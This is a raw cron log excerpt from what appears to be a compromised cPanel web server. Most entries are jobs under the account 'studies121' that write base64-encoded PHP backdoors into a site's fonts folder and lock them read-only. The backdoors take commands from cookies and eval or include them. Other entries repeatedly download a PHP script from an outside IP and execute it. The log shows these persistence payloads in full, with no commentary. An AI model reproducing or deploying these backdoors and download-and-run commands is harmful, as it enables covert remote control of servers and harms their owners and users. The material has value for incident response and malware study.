Sep  3 13:36:01 ip-184-168-122-23 CROND[13777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:36:01 ip-184-168-122-23 CROND[13776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:37:01 ip-184-168-122-23 CROND[13893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:37:01 ip-184-168-122-23 CROND[13894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:37:01 ip-184-168-122-23 CROND[13895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:37:01 ip-184-168-122-23 CROND[13896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:38:01 ip-184-168-122-23 CROND[14007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:38:01 ip-184-168-122-23 CROND[14008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:38:01 ip-184-168-122-23 CROND[14013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:38:01 ip-184-168-122-23 CROND[14012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:38:01 ip-184-168-122-23 CROND[14011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:39:01 ip-184-168-122-23 CROND[14094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:39:01 ip-184-168-122-23 CROND[14095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:39:01 ip-184-168-122-23 CROND[14097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:39:01 ip-184-168-122-23 CROND[14096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:39:01 ip-184-168-122-23 CROND[14098]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:40:01 ip-184-168-122-23 CROND[14276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:40:01 ip-184-168-122-23 CROND[14277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:40:01 ip-184-168-122-23 CROND[14284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:41:01 ip-184-168-122-23 CROND[14374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:41:01 ip-184-168-122-23 CROND[14376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:41:01 ip-184-168-122-23 CROND[14377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:41:01 ip-184-168-122-23 CROND[14378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:42:01 ip-184-168-122-23 CROND[14472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:42:01 ip-184-168-122-23 CROND[14474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:42:01 ip-184-168-122-23 CROND[14476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:42:01 ip-184-168-122-23 CROND[14477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:42:01 ip-184-168-122-23 CROND[14479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:43:01 ip-184-168-122-23 CROND[14557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:43:01 ip-184-168-122-23 CROND[14556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:43:01 ip-184-168-122-23 CROND[14558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:43:01 ip-184-168-122-23 CROND[14559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:44:01 ip-184-168-122-23 CROND[14644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:44:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:44:01 ip-184-168-122-23 CROND[14646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:44:01 ip-184-168-122-23 CROND[14649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:44:01 ip-184-168-122-23 CROND[14650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:45:01 ip-184-168-122-23 CROND[14733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:45:01 ip-184-168-122-23 CROND[14739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:45:01 ip-184-168-122-23 CROND[14740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:45:01 ip-184-168-122-23 CROND[14742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:45:01 ip-184-168-122-23 CROND[14743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:45:01 ip-184-168-122-23 CROND[14744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:46:01 ip-184-168-122-23 CROND[14831]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:46:01 ip-184-168-122-23 CROND[14833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:46:01 ip-184-168-122-23 CROND[14838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:46:01 ip-184-168-122-23 CROND[14836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:46:01 ip-184-168-122-23 CROND[14834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:46:01 ip-184-168-122-23 CROND[14835]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 13:46:01 ip-184-168-122-23 CROND[14837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:47:01 ip-184-168-122-23 CROND[15052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:47:01 ip-184-168-122-23 CROND[15055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:47:01 ip-184-168-122-23 CROND[15053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:47:01 ip-184-168-122-23 CROND[15054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:48:01 ip-184-168-122-23 CROND[15161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:48:01 ip-184-168-122-23 CROND[15163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:48:01 ip-184-168-122-23 CROND[15164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:48:01 ip-184-168-122-23 CROND[15166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
